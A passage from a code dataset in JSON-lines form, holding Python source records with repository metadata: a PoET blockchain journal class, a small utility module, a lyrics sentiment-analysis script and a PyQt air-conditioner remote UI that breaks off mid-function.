{"api_name": "subprocess.run", "line_number": 135, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 135, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 140, "usage_type": "call"}, {"api_name": "os.path", "line_number": 140, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 140, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 148, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 148, "usage_type": "attribute"}, {"api_name": "subprocess.Popen", "line_number": 156, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 156, "usage_type": "attribute"}, {"api_name": "subprocess.run", "line_number": 157, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 165, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 181, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 185, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 187, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 188, "usage_type": "attribute"}, {"api_name": "tempfile.TemporaryDirectory", "line_number": 197, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 198, "usage_type": "call"}, {"api_name": "os.path", "line_number": 198, "usage_type": "attribute"}, {"api_name": "aiohttp.ClientSession", "line_number": 202, "usage_type": "call"}, {"api_name": "aiofiles.open", "line_number": 206, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 213, "usage_type": "call"}, {"api_name": "os.path", "line_number": 213, "usage_type": "attribute"}, {"api_name": "zipfile.ZipFile", "line_number": 214, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 219, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 220, "usage_type": "call"}, {"api_name": "os.path", "line_number": 220, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 223, "usage_type": "call"}, {"api_name": "os.path", "line_number": 223, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 224, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 227, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 229, "usage_type": "call"}, {"api_name": "os.path", "line_number": 229, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 230, "usage_type": "call"}, {"api_name": "os.path", "line_number": 230, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 230, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 231, "usage_type": "call"}, {"api_name": "asyncio.get_running_loop", "line_number": 234, "usage_type": "call"}, {"api_name": "os.rmdir", "line_number": 250, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 262, "usage_type": "call"}, {"api_name": "os.path", "line_number": 262, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 262, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 263, "usage_type": "call"}, {"api_name": "os.path", "line_number": 263, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 263, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 269, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 276, "usage_type": "call"}, {"api_name": "psutil.process_iter", "line_number": 293, "usage_type": "call"}, {"api_name": "re.search", "line_number": 308, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 318, "usage_type": "call"}, {"api_name": "utilities.step_certificate.is_certificate_expiring", "line_number": 331, "usage_type": "call"}, {"api_name": "utilities.step_certificate", "line_number": 331, "usage_type": "name"}, {"api_name": "utilities.step_certificate.renew_certificate", "line_number": 334, "usage_type": "call"}, {"api_name": "utilities.step_certificate", "line_number": 334, "usage_type": "name"}, {"api_name": "utilities.step_certificate.is_certificate_expired", "line_number": 344, "usage_type": "call"}, {"api_name": "utilities.step_certificate", "line_number": 344, "usage_type": "name"}, {"api_name": "utilities.step_certificate.discord_oauth_flow_stepca", "line_number": 352, "usage_type": "call"}, {"api_name": "utilities.step_certificate", "line_number": 352, "usage_type": "name"}, {"api_name": "utilities.step_certificate.discord_oauth_flow_stepca", "line_number": 355, "usage_type": "call"}, {"api_name": "utilities.step_certificate", "line_number": 355, "usage_type": "name"}, {"api_name": "cogs.misc.logger.get_filebeat_auth_token", "line_number": 355, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 358, "usage_type": "call"}, {"api_name": "aiohttp.ClientSession", "line_number": 364, "usage_type": "call"}, {"api_name": "aiohttp.ClientError", "line_number": 372, "usage_type": "attribute"}, {"api_name": "aiohttp.ClientTimeout", "line_number": 378, "usage_type": "call"}, {"api_name": "aiohttp.ClientSession", "line_number": 380, "usage_type": "call"}, {"api_name": "ipaddress.ip_address", "line_number": 388, "usage_type": "call"}, {"api_name": "asyncio.TimeoutError", "line_number": 392, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 406, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 407, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 408, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 410, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 411, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 412, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 446, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 472, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 489, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 523, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 540, "usage_type": "call"}, {"api_name": "cogs.misc.logger.get_home", "line_number": 540, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 597, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 598, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 599, "usage_type": "call"}, {"api_name": "yaml.dump", "line_number": 609, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 622, "usage_type": "call"}, {"api_name": "aiohttp.ClientSession", "line_number": 624, "usage_type": "call"}, {"api_name": "aiofiles.open", "line_number": 628, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 628, "usage_type": "call"}, {"api_name": "aiofiles.open", "line_number": 633, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 633, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 636, "usage_type": "call"}, {"api_name": "os.path", "line_number": 636, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 654, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 655, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 656, "usage_type": "call"}, {"api_name": "cogs.handlers.events.stop_event.is_set", "line_number": 660, "usage_type": "call"}, {"api_name": "cogs.handlers.events.stop_event", "line_number": 660, "usage_type": "name"}, {"api_name": "asyncio.sleep", "line_number": 663, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 685, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 688, "usage_type": "call"}, {"api_name": "os.path", "line_number": 688, "usage_type": "attribute"}, {"api_name": "utilities.step_certificate.discord_oauth_flow_stepca", "line_number": 696, "usage_type": "call"}, {"api_name": "utilities.step_certificate", "line_number": 696, "usage_type": "name"}, {"api_name": "cogs.misc.logger.get_filebeat_auth_token", "line_number": 696, "usage_type": "call"}, {"api_name": "tempfile.TemporaryDirectory", "line_number": 704, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 705, "usage_type": "call"}, {"api_name": "aiofiles.open", "line_number": 706, "usage_type": "call"}, {"api_name": "shutil.move", "line_number": 712, "usage_type": "call"}, {"api_name": "subprocess.Popen", "line_number": 731, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 731, "usage_type": "attribute"}, {"api_name": "asyncio.get_running_loop", "line_number": 736, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 789, "usage_type": "call"}, {"api_name": "tempfile.NamedTemporaryFile", "line_number": 795, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 802, "usage_type": "call"}, {"api_name": "os.unlink", "line_number": 804, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 822, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 833, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 836, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 847, "usage_type": "call"}, {"api_name": "utilities.step_certificate.main", "line_number": 859, "usage_type": "call"}, {"api_name": "cogs.handlers.events.stop_event", "line_number": 859, "usage_type": "argument"}, {"api_name": "utilities.step_certificate", "line_number": 859, "usage_type": "name"}, {"api_name": "utilities.step_certificate.main", "line_number": 860, "usage_type": "call"}, {"api_name": "cogs.handlers.events.stop_event", "line_number": 860, "usage_type": "argument"}, {"api_name": "cogs.misc.logger.set_filebeat_auth_token", "line_number": 860, "usage_type": "argument"}, {"api_name": "cogs.misc.logger.set_filebeat_auth_url", "line_number": 860, "usage_type": "argument"}, {"api_name": "utilities.step_certificate", "line_number": 860, "usage_type": "name"}, {"api_name": "subprocess.run", "line_number": 870, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 873, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 878, "usage_type": "call"}, {"api_name": "os.path", "line_number": 878, "usage_type": "attribute"}, {"api_name": "cogs.handlers.mqtt.MQTTHandler", "line_number": 892, "usage_type": "call"}, {"api_name": "cogs.misc.logger.set_mqtt", "line_number": 897, "usage_type": "call"}, {"api_name": "cogs.misc.logger.get_mqtt", "line_number": 898, "usage_type": "call"}, {"api_name": "asyncio.CancelledError", "line_number": 902, "usage_type": "attribute"}, {"api_name": "asyncio.run", "line_number": 909, "usage_type": "call"}]}
{"seq_id": "23800151006", "text": "import collections\nimport logging\n\nfrom gossip import common, stats\nfrom journal import journal_core\nfrom journal.consensus.poet import poet_transaction_block\nfrom journal.consensus.poet.wait_certificate import WaitTimer\n\nlogger = logging.getLogger(__name__)\n\n\nclass PoetJournal(journal_core.Journal):\n    \"\"\"Implements a journal based on the proof of elapsed time\n    consensus mechanism.\n\n    Attributes:\n        onHeartBeatTimer (EventHandler): The EventHandler tracking\n            calls to make when the heartbeat timer fires.\n        MaximumBlocksToKeep (int): The maximum number of blocks to\n            keep.\n    \"\"\"\n    def __init__(self, node, **kwargs):\n        \"\"\"Constructor for the PoetJournal class.\n\n        Args:\n            node (Node): The local node.\n        \"\"\"\n        super(PoetJournal, self).__init__(node, **kwargs)\n\n        self.onHeartbeatTimer += self._check_certificate\n\n        # initialize the poet handlers\n        poet_transaction_block.register_message_handlers(self)\n\n        # initialize stats specifically for the block chain journal\n        self.JournalStats.add_metric(stats.Counter('BlocksClaimed'))\n\n        # propagate the maximum blocks to keep\n        self.MaximumBlocksToKeep = max(self.MaximumBlocksToKeep,\n                                       WaitTimer.CertificateSampleLength)\n\n    def build_transaction_block(self, force=False):\n        \"\"\"Builds a transaction block that is specific to this particular\n        consensus mechanism, in this case we build a block that contains a\n        wait certificate.\n\n        Args:\n            force (boolean): Whether to force creation of the initial\n                block.\n\n        Returns:\n            PoetTransactionBlock: The constructed block with the wait\n                certificate.\n        \"\"\"\n        logger.debug('attempt to build transaction block extending %s',\n                     self.MostRecentCommitedBlockID[:8])\n\n        # Get the list of prepared transactions, if there aren't enough\n        # then just return\n        txnlist = self._preparetransactionlist(\n            self.MaximumTransactionsPerBlock)\n        if len(txnlist) < self.MinimumTransactionsPerBlock and not force:\n            logger.debug('no transactions found, no block constructed')\n            return None\n\n        logger.info('build transaction block to extend %s with %s '\n                    'transactions',\n                    self.MostRecentCommitedBlockID[:8], len(txnlist))\n\n        # Create a new block from all of our pending transactions\n        nblock = poet_transaction_block.PoetTransactionBlock()\n        nblock.BlockNum = self.MostRecentCommitedBlock.BlockNum \\\n            + 1 if self.MostRecentCommitedBlock else 0\n        nblock.PreviousBlockID = self.MostRecentCommitedBlockID\n        nblock.TransactionIDs = txnlist\n        nblock.create_wait_timer(self._build_certificate_list(nblock))\n\n        # must put a cap on the transactions in the block\n        if len(nblock.TransactionIDs) >= self.MaximumTransactionsPerBlock:\n            nblock.TransactionIDs = \\\n                nblock.TransactionIDs[:self.MaximumTransactionsPerBlock]\n\n        logger.debug('created new pending block with timer <%s> and '\n                     '%d transactions', nblock.WaitTimer,\n                     len(nblock.TransactionIDs))\n\n        # fire the build block event handlers\n        self.onBuildBlock.fire(self, nblock)\n\n        return nblock\n\n    def claim_transaction_block(self, nblock):\n        \"\"\"Claims the block and transmits a message to the network\n        that the local node won.\n\n        Args:\n            nblock (PoetTransactionBlock): The block to claim.\n        \"\"\"\n        logger.info('node %s validates block with %d transactions',\n                    self.LocalNode.Name, len(nblock.TransactionIDs))\n\n        # Claim the block\n        nblock.create_wait_certificate()\n        nblock.sign_from_node(self.LocalNode)\n        self.JournalStats.BlocksClaimed.increment()\n\n        # Fire the event handler for block claim\n        self.onClaimBlock.fire(self, nblock)\n\n        # And send out the message that we won\n        msg = poet_transaction_block.PoetTransactionBlockMessage()\n        msg.TransactionBlock = nblock\n        msg.SenderID = self.LocalNode.Identifier\n        msg.sign_from_node(self.LocalNode)\n\n        self.PendingTransactionBlock = None\n        self.handle_message(msg)\n\n    def _build_certificate_list(self, block):\n        # for the moment we just dump all of these into one list,\n        # not very efficient but it makes things a lot easier to maintain\n        certs = collections.deque()\n        count = WaitTimer.CertificateSampleLength\n\n        while block.PreviousBlockID != common.NullIdentifier \\\n                and len(certs) < count:\n            block = self.BlockStore[block.PreviousBlockID]\n            certs.appendleft(block.WaitCertificate)\n\n        # drop the root block off the computation\n        return list(certs)\n\n    def _check_certificate(self, now):\n        if self.PendingTransactionBlock \\\n                and self.PendingTransactionBlock.wait_timer_is_expired(now):\n            self.claim_transaction_block(self.PendingTransactionBlock)\n", "repo_name": "nikileshsa/sawtooth-core", "sub_path": "journal/consensus/poet/poet_journal.py", "file_name": "poet_journal.py", "file_ext": "py", "file_size_in_byte": 5179, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "journal.journal_core.Journal", "line_number": 12, "usage_type": "attribute"}, {"api_name": "journal.journal_core", "line_number": 12, "usage_type": "name"}, {"api_name": "journal.consensus.poet.poet_transaction_block.register_message_handlers", "line_number": 33, "usage_type": "call"}, {"api_name": "journal.consensus.poet.poet_transaction_block", "line_number": 33, "usage_type": "name"}, {"api_name": "gossip.stats.Counter", "line_number": 36, "usage_type": "call"}, {"api_name": "gossip.stats", "line_number": 36, "usage_type": "name"}, {"api_name": "journal.consensus.poet.wait_certificate.WaitTimer.CertificateSampleLength", "line_number": 40, "usage_type": "attribute"}, {"api_name": "journal.consensus.poet.wait_certificate.WaitTimer", "line_number": 40, "usage_type": "name"}, {"api_name": "journal.consensus.poet.poet_transaction_block.PoetTransactionBlock", "line_number": 71, "usage_type": "call"}, {"api_name": "journal.consensus.poet.poet_transaction_block", "line_number": 71, "usage_type": "name"}, {"api_name": "journal.consensus.poet.poet_transaction_block.PoetTransactionBlockMessage", "line_number": 111, "usage_type": "call"}, {"api_name": "journal.consensus.poet.poet_transaction_block", "line_number": 111, "usage_type": "name"}, {"api_name": "collections.deque", "line_number": 122, "usage_type": "call"}, {"api_name": "journal.consensus.poet.wait_certificate.WaitTimer.CertificateSampleLength", "line_number": 123, "usage_type": "attribute"}, {"api_name": "journal.consensus.poet.wait_certificate.WaitTimer", "line_number": 123, "usage_type": "name"}, {"api_name": "gossip.common.NullIdentifier", "line_number": 125, "usage_type": "attribute"}, {"api_name": "gossip.common", "line_number": 125, "usage_type": "name"}]}
{"seq_id": "70159602506", "text": "import datetime\nimport errno\nimport os\nimport platform\nimport pwd\nimport socket\nimport time\nfrom collections import namedtuple\nfrom contextlib import closing\n\n\n# define a named tuple for storing Phase data\nPhase = namedtuple('Phase', ['phasenum', 'length', 'dostim', 'background'])\n# Give the named tuple default values [https://stackoverflow.com/a/18348004/7938656]\nPhase.__new__.__defaults__ = (None,) * len(Phase._fields)\n\n\n# http://stackoverflow.com/a/166589\n# Create a UDP socket to the internet at large to get our routed IP\ndef get_routed_ip():\n    with closing(socket.socket(socket.AF_INET, socket.SOCK_DGRAM)) as s:\n        s.connect((\"8.8.8.8\", 53))  # Google DNS, but doesn't really matter\n        return s.getsockname()[0]\n\n\ndef get_boxname():\n    return platform.node()\n\n\ndef mkdir(path, user=None):\n    try:\n        os.makedirs(str(path))\n    except OSError as e:\n        if e.errno == errno.EEXIST and path.is_dir():\n            # exists already, fine.\n            pass\n        else:\n            raise\n\n    if user is not None:\n        pw = pwd.getpwnam(user)\n        os.chown(str(path), pw.pw_uid, pw.pw_gid)\n\n\ndef max_mtime(dir):\n    files = list(dir.glob(\"*\"))\n    if not files:\n        return None\n    maxtime = max(f.stat().st_mtime for f in files)\n    return datetime.datetime.fromtimestamp(maxtime)\n\n\n# https://stackoverflow.com/a/29692864/7938656\n# Wrap a function to restart itself automatically (used for threads that may crash)\ndef auto_restart(func):\n    def wrapper(*args, **kwargs):\n        delay = 0.001\n        while True:\n            try:\n                func(*args, **kwargs)\n            except BaseException as e:\n                print('Exception in {}: {!r}\\nRestarting.'.format(func.__name__, e))\n            else:\n                print('{} exited normally.\\nRestarting.'.format(func.__name__))\n            # exponential backoff\n            print('Waiting {} seconds before restart.'.format(delay))\n            time.sleep(delay)\n            delay *= 2\n    return wrapper\n", "repo_name": "liffiton/ATLeS", "sub_path": "src/common.py", "file_name": "common.py", "file_ext": "py", "file_size_in_byte": 2007, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "collections.namedtuple", "line_number": 13, "usage_type": "call"}, {"api_name": "contextlib.closing", "line_number": 21, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 21, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 21, "usage_type": "attribute"}, {"api_name": "socket.SOCK_DGRAM", "line_number": 21, "usage_type": "attribute"}, {"api_name": "platform.node", "line_number": 27, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 32, "usage_type": "call"}, {"api_name": "errno.EEXIST", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pwd.getpwnam", "line_number": 41, "usage_type": "call"}, {"api_name": "os.chown", "line_number": 42, "usage_type": "call"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 50, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 50, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 67, "usage_type": "call"}]}
{"seq_id": "6441497789", "text": "import pandas as pd\nimport nltk\nimport matplotlib.pyplot as plt\nfrom pathlib import Path\nimport numpy as np\nfrom scipy import stats\n\n\ndef tokenize_song(path_to_song, sheet):\n    \"\"\"\n    tokenize_song: breaks sentences into words\n    path_to_song: str, name of the file with songs\n    sheet: number of an excel sheet of a song\n    \n    NOTES\n    *there are some not completely tokenized elements, e.g. contractions ('t, 'd)\n\n    \"\"\"\n    song = pd.read_excel(path_to_song, sheet_name=sheet) #access a respective excel file and a sheet\n    song_lines = song.loc[:, 'Line'].tolist() #access only one column using label \"Line\" \n\n    tokens = [[t for t in nltk.word_tokenize(s) if t.isalpha()] for s in song_lines] #tokenizing\n    tokens = [[word.lower() for word in token] for token in tokens] #from upper to lower case (words containing upper-case letters are not analyzed)\n    tokens_raw = tokens\n    \n    #Additionally: parts of speech selection\n\n    #selecting adjectives, adjective comparative, adjectives superlative, nouns, plural nouns, verbs present tense, verbs past tense, gerund, modal verbs, verbs, adverbs\n    #list_to_select =  ['JJ','JJR', 'JJS', 'NN', 'NNS', 'VBP', 'VBD', 'VBG', 'MD', 'VB', 'RB'] \n    #list_to_select =  ['JJ', 'NN', 'RB', 'VBG']\n    # identifying the part of speech of each word in a line \n    #tokens = [[word[0] for word in nltk.pos_tag(line) if word[1] in list_to_select] for line in tokens] \n\n    \n    return tokens_raw, tokens\n\n\ndef make_sent_means(senti_art, song_tokens):\n    \"\"\"\n    estimates mean sentiart values\n    \n    senti_art: pandas DataFrame, dictionary of 250k english words\n    song_tokens: list of lists, list of words in the songs\n    \n    \"\"\"\n\n    sent_means = [] #just creating an empty list to use it in a function\n    sent_labels = senti_art.columns[1:].tolist() #making a list of column names\n    \n    #finding words in our tokenized songs\n    \n    ward = pd.read_csv('WRAD.txt', sep=\" \", header=None)\n    ward.columns = ['word', 'ward']\n    sent_labels.append('WARD')\n\n    valence = pd.read_csv('Valence(j-r).txt', sep=\" \", header=None)\n    valence.columns = ['word', 'valence']\n    sent_labels.append('valnce')\n    \n    sent_means = np.zeros((len(song_tokens), 9))\n    \n    for i, t in enumerate(song_tokens):\n        dt = senti_art.query('word in @t')\n        dt_ward = ward.query('word in @t')\n        dt_valence = valence.query('word in @t')\n        \n        #cleaning (taking into analysis words that are longer than 2 symbols)\n        dt = dt.loc[[True if len(i)>0 else False for i in dt[\"word\"].tolist()], :]\n        #estimating the mean for all columns, leaving only numbers and appending them to the empty list created before\n        sent_means[i, :7] = dt.iloc[:, 1:].mean().to_numpy().flatten()\n        sent_means[i, 7] = dt_ward.mean().to_numpy()[0]\n        sent_means[i, 8] = dt_valence.mean().to_numpy()[0]\n        \n    #changing the type of data: from list to array\n    # sent_means = np.array(sent_means)\n    \n    #making a final data frame\n    result = pd.DataFrame(data=sent_means, columns=sent_labels).fillna(0)\n    return result\n\n\ndef art_plots(results, query_value_inx, save_path, sheet, df_liking, df_striking):\n    \"\"\"\n    makes a plot\n    \n    results: data frame of results\n    query_value_inx: int, index to select values in the dataframe of results\n    save_path: pathlib.PosixPath, path where to save the data \n    sheet: giving a number to the saved file according to the number of excel sheet in the initial document\n    \n    \"\"\"\n    \n    fig, ax = plt.subplots(figsize=(15, 10)) \n    results = round(results,3)\n    value_name = results.columns[query_value_inx]\n    results = results.loc[:, [value_name]]\n    #results.to_csv('results.txt')\n\n    #plot AAPz\n    results.set_index(results.index+1,inplace=True)\n    #create new columns with liking and striking mean values\n    results['Liking'] = df_liking.mean()\n    results['Striking'] = df_striking.mean()\n    \n    results.plot(kind='bar',alpha=0.75, rot=0, ax=ax)\n    plt.xlabel(\"Sentence #\")\n    plt.ylabel(\"Sentiment Value (z)\")\n    \n    file_name = f\"song_{sheet}_{value_name}.png\" \n    plt.savefig(fname=save_path.parent / file_name, dpi=200)\n    plt.close()\n    \n\n\n    \ndef full_processing(song_file, sheet, sa, df_liking, df_striking, only_song_results=False):\n    \"\"\"\n    \n    \n    \"\"\"\n    song_file = Path(song_file)\n    \n    if song_file.is_file():\n        \n        # Step 1\n        tokens_raw, tokens = tokenize_song(song_file, sheet)\n\n        # Step 2\n        song_results = make_sent_means(sa, tokens)\n        \n        if only_song_results:\n            return tokens_raw, tokens, song_results\n\n        # Step 3\n        # Select only AAPz\n        for i in [0]: # range(len(song_results.columns))\n            art_plots(song_results, i, song_file, sheet, df_liking, df_striking)\n\n\n        # Step 4\n        # additional_stats(sa, song_results)\n        \n        # Step 5 - save results\n        song_results.to_excel(song_file.parent / f\"song_{sheet}.xlsx\")\n        \n        # Step 6\n        bag_of_words = list(set(sum(tokens_raw, [])))\n        values = sa.query(\"word in @bag_of_words\")\n        values.to_excel(song_file.parent / f\"song_words_list_{sheet}.xlsx\")\n        \n        return [bag_of_words, values]\n        #return [len(bag_of_words), values.shape[0]]\n        print('DONE')\n    else:\n        print('The file does not exist')\n        \n        \ndef normalize(df):\n    data =  df.to_numpy()\n    data_std = (data - data.mean(axis=1, keepdims=True))/data.std(axis=1, keepdims=True) \n    return pd.DataFrame(data=data_std)\n\n\ndef plot_norm_outliers(df, song, group, n_not_norm=3):\n    for i, x in enumerate(df.to_numpy()):\n        _, p = stats.kstest(x, 'norm')\n        df.loc[i, 'is_norm'] = p\n\n    sort_by_norm = df['is_norm'].to_numpy().argsort()\n\n    fig, ax = plt.subplots(figsize=(10, 5))\n    df.iloc[:, :-1].T.plot.kde(legend=False, ax=ax)\n    df.iloc[sort_by_norm[n_not_norm:], :-1].T.plot.kde(legend=False, ax=ax, c='grey')\n    df.iloc[sort_by_norm[:n_not_norm], :-1].T.plot.kde(legend=False, ax=ax, c='red')\n\n    plt.xlabel('Standartized responses')\n    \n    file_name = f\"song_{song}_{group}.png\"\n    plt.show()\n    plt.savefig(fname=file_name, dpi=200)\n    plt.close()", "repo_name": "ivasilisa/sentiart_group7", "sub_path": "sent_art_analysis.py", "file_name": "sent_art_analysis.py", "file_ext": "py", "file_size_in_byte": 6230, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pandas.read_excel", "line_number": 19, "usage_type": "call"}, {"api_name": "nltk.word_tokenize", "line_number": 22, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 52, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 60, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 78, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 121, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 161, "usage_type": "call"}, {"api_name": "scipy.stats.kstest", "line_number": 166, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 166, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 171, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 171, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 176, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 176, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 179, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 179, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 180, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 180, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 181, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 181, "usage_type": "name"}]}
{"seq_id": "18900394187", "text": "import sys\r\nfrom PyQt5 import QtWidgets, QtCore\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5.QtCore import *\r\nfrom PyQt5.QtGui import *\r\nfrom UI_AC import *\r\n\r\n# 电源状况: 1 = 开 ,0 = 关\r\npower = 0\r\nmode = \"cool\"\r\n\r\n\r\nclass AC(QMainWindow, Ui_mainWindow):\r\n    def __init__(self, parent=None):\r\n        super(AC, self).__init__(parent)\r\n        self.setupUi(self)\r\n        self._initUI()\r\n        self.pushButton_4.mousePressEvent = self.tem_down\r\n        self.pushButton_5.mousePressEvent = self.tem_up\r\n        self.pushButton_2.mousePressEvent = self.mode_switch_to_cool\r\n        self.pushButton_3.mousePressEvent = self.mode_switch_to_hot\r\n        self.pushButton.mousePressEvent = self.power_switch\r\n        self.pushButton_7.mousePressEvent = self.minesize\r\n\r\n    def _initUI(self):\r\n        _startPos = None\r\n        _endPos = None\r\n        _isTracking = False\r\n        self.setWindowFlags(Qt.FramelessWindowHint)\r\n        self.setAttribute(QtCore.Qt.WidgetAttribute.WA_TranslucentBackground, True)\r\n        self.show()\r\n\r\n    def mouseMoveEvent(self, e: QMouseEvent):\r\n        try:\r\n            self._endPos = e.pos() - self._startPos\r\n            self.move(self.pos() + self._endPos)\r\n        except:\r\n            pass\r\n\r\n    def mousePressEvent(self, e: QMouseEvent):\r\n        if e.button() == Qt.LeftButton:\r\n            self._isTracking = True\r\n            self._startPos = QPoint(e.x(), e.y())\r\n\r\n    def mouseReleaseEvent(self, e: QMouseEvent):\r\n        if e.button() == Qt.LeftButton:\r\n            self._isTracking = False\r\n            self._startPos = None\r\n            self._endPos = None\r\n\r\n    def tem_up(self, event):\r\n        tem = int(self.label_shuzi.text())\r\n        if power == 1 and 17 <= tem < 30:\r\n\r\n            new_tem = str(tem + 1)\r\n            self.label_shuzi.setText(new_tem)\r\n        else:\r\n            pass\r\n\r\n    def tem_down(self, event):\r\n        tem = int(self.label_shuzi.text())\r\n        if power == 1 and 17 < tem <= 30:\r\n\r\n            new_tem = str(tem - 1)\r\n            self.label_shuzi.setText(new_tem)\r\n        else:\r\n            pass\r\n\r\n    def power_switch(self, event):\r\n        global power\r\n        if power == 1:\r\n            self.label_shuzi.setText(\"00\")\r\n            self.label_shuzi.setStyleSheet(\r\n                \"border-radius: 0px;  border: 0px groove black ;color: white\"\r\n            )\r\n            self.frame_4.setStyleSheet(\"border-radius: 5px; border: 2px groove black\")\r\n            self.frame_3.setStyleSheet(\"border-radius: 5px; border: 2px groove black\")\r\n\r\n            power = 0\r\n        elif power == 0:\r\n            self.label_shuzi.setText(\"26\")\r\n            self.label_shuzi.setStyleSheet(\r\n                \"border-radius: 0px;  border: 0px groove black ;color: black\"\r\n            )\r\n            self.frame_4.setStyleSheet(\r\n                \"border-radius: 5px;  background:blue;border: 0px groove black\"\r\n            )\r\n            